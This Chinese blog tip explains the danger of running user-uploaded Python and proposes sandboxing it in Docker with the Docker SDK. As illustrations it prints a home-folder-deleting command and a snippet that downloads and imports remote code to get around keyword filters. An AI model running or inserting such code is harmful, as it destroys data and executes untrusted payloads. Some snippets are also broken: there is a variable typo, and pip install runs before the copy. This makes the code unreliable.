一日一技:如何安全運(yùn)行別人上傳的Python代碼?
寫后端的同學(xué),有時候需要在網(wǎng)站上實現(xiàn)一個功能,讓用戶上傳或者編寫自己的Python代碼。后端再運(yùn)行這些代碼。
涉及到用戶自己上傳代碼,我們第一個想到的問題,就是如何避免用戶編寫危險命令。如果用戶的代碼里面涉及到下面兩行,在不做任何安全過濾的情況下,就會導(dǎo)致服務(wù)器的Home文件夾被清空。
import os
os.system('rm -rf ~/*')
有人想的比較簡單,直接判斷用戶的代碼里面有沒有os.system、exec、subprocess……這些危險關(guān)鍵詞不就可以了嗎?
這種想法乍看起來沒有問題,但細(xì)想下,就會發(fā)現(xiàn)非常天真。如果用戶的代碼像下面這樣寫,你又要如何應(yīng)對?
import requests
code = requests.get('https://www.kingname.info/dangerous_code').text
with open('dangerous_code.py', 'w') as f:
f.write(code)
dangerous_module = __import__('dangerous_code')
danderous_module.delete_all()
其中https://www.kingname.info/dangerous_code對應(yīng)的代碼如下:
import os
def delete_all():
os.system('rm -rf ~/*')
這樣就可以繞過關(guān)鍵字檢查,并成功刪除你的文件了。
如果你的網(wǎng)站本身就是一個爬蟲管理平臺,你檢查用戶自定義的代碼時,肯定不能過濾掉requests這種網(wǎng)絡(luò)請求庫。那么你就很難判斷用戶下載下來的東西是否包含惡意代碼。
而且惡意代碼不一定是刪除你的東西,它完全可以直接把你項目下面的所有代碼打包,上傳到它指定的URL中,這樣就能竊取你網(wǎng)站里面所有代碼。
為了避免這樣的情況發(fā)生,我們就必須找一個干凈又獨立的環(huán)境來運(yùn)行用戶的代碼。干凈的環(huán)境能確保惡意代碼沒有東西可以偷,獨立的環(huán)境能確保他即使刪除了所有文件,也不會影響到你。
顯然,最簡單直接的辦法,就是使用Docker來運(yùn)行用戶的代碼。而使用Docker并不一定需要在終端使用Shell命令。我們可以使用Docker的Python SDK來實現(xiàn)構(gòu)建鏡像和運(yùn)行鏡像。
首先,確保你的服務(wù)器上面已經(jīng)有Docker,并且正在運(yùn)行。接下來,安裝Docker SDK:
pip install docker
假設(shè),你把用戶上傳的文件放在了user/<user_id>/upload文件夾下面,那么,首先你需要生成一個Dockerfile,并把這個Dockerfile放到upload文件夾中:
from python:3.10
run pip install -r requirements.txt
copy . /app
workdir /app
當(dāng)用戶添加/修改了第三方庫時,你只需要更新requirements.txt即可讓鏡像里面的依賴符合用戶的需求。
接下來,我們開始構(gòu)建鏡像并運(yùn)行代碼:
import docker
client = docker.from_env()
client.images.build(path='user/<user_id>/upload', tag='xxxspider:0.01') # tag后面的名字可以自定義
container = client.containers.run('xxxspider:0.01', detach=True, command='scrapy crawl xxx', 其他參數(shù))
這個代碼運(yùn)行以后是非阻塞的,會立刻返回container對象。當(dāng)你想查看代碼日志時,執(zhí)行:
container.logs(tail=10) # 顯示最后10行日志
就可以看到相關(guān)的日志了。
關(guān)于Docker SDK的更多操作,可以看他的官方文檔:Docker SDK for Python — Docker SDK for Python 6.1.3 documentation[1]
參考資料
[1]Docker SDK for Python — Docker SDK for Python 6.1.3 documentation: https://docker-py.readthedocs.io/en/stable/index.html#docker-sdk-for-python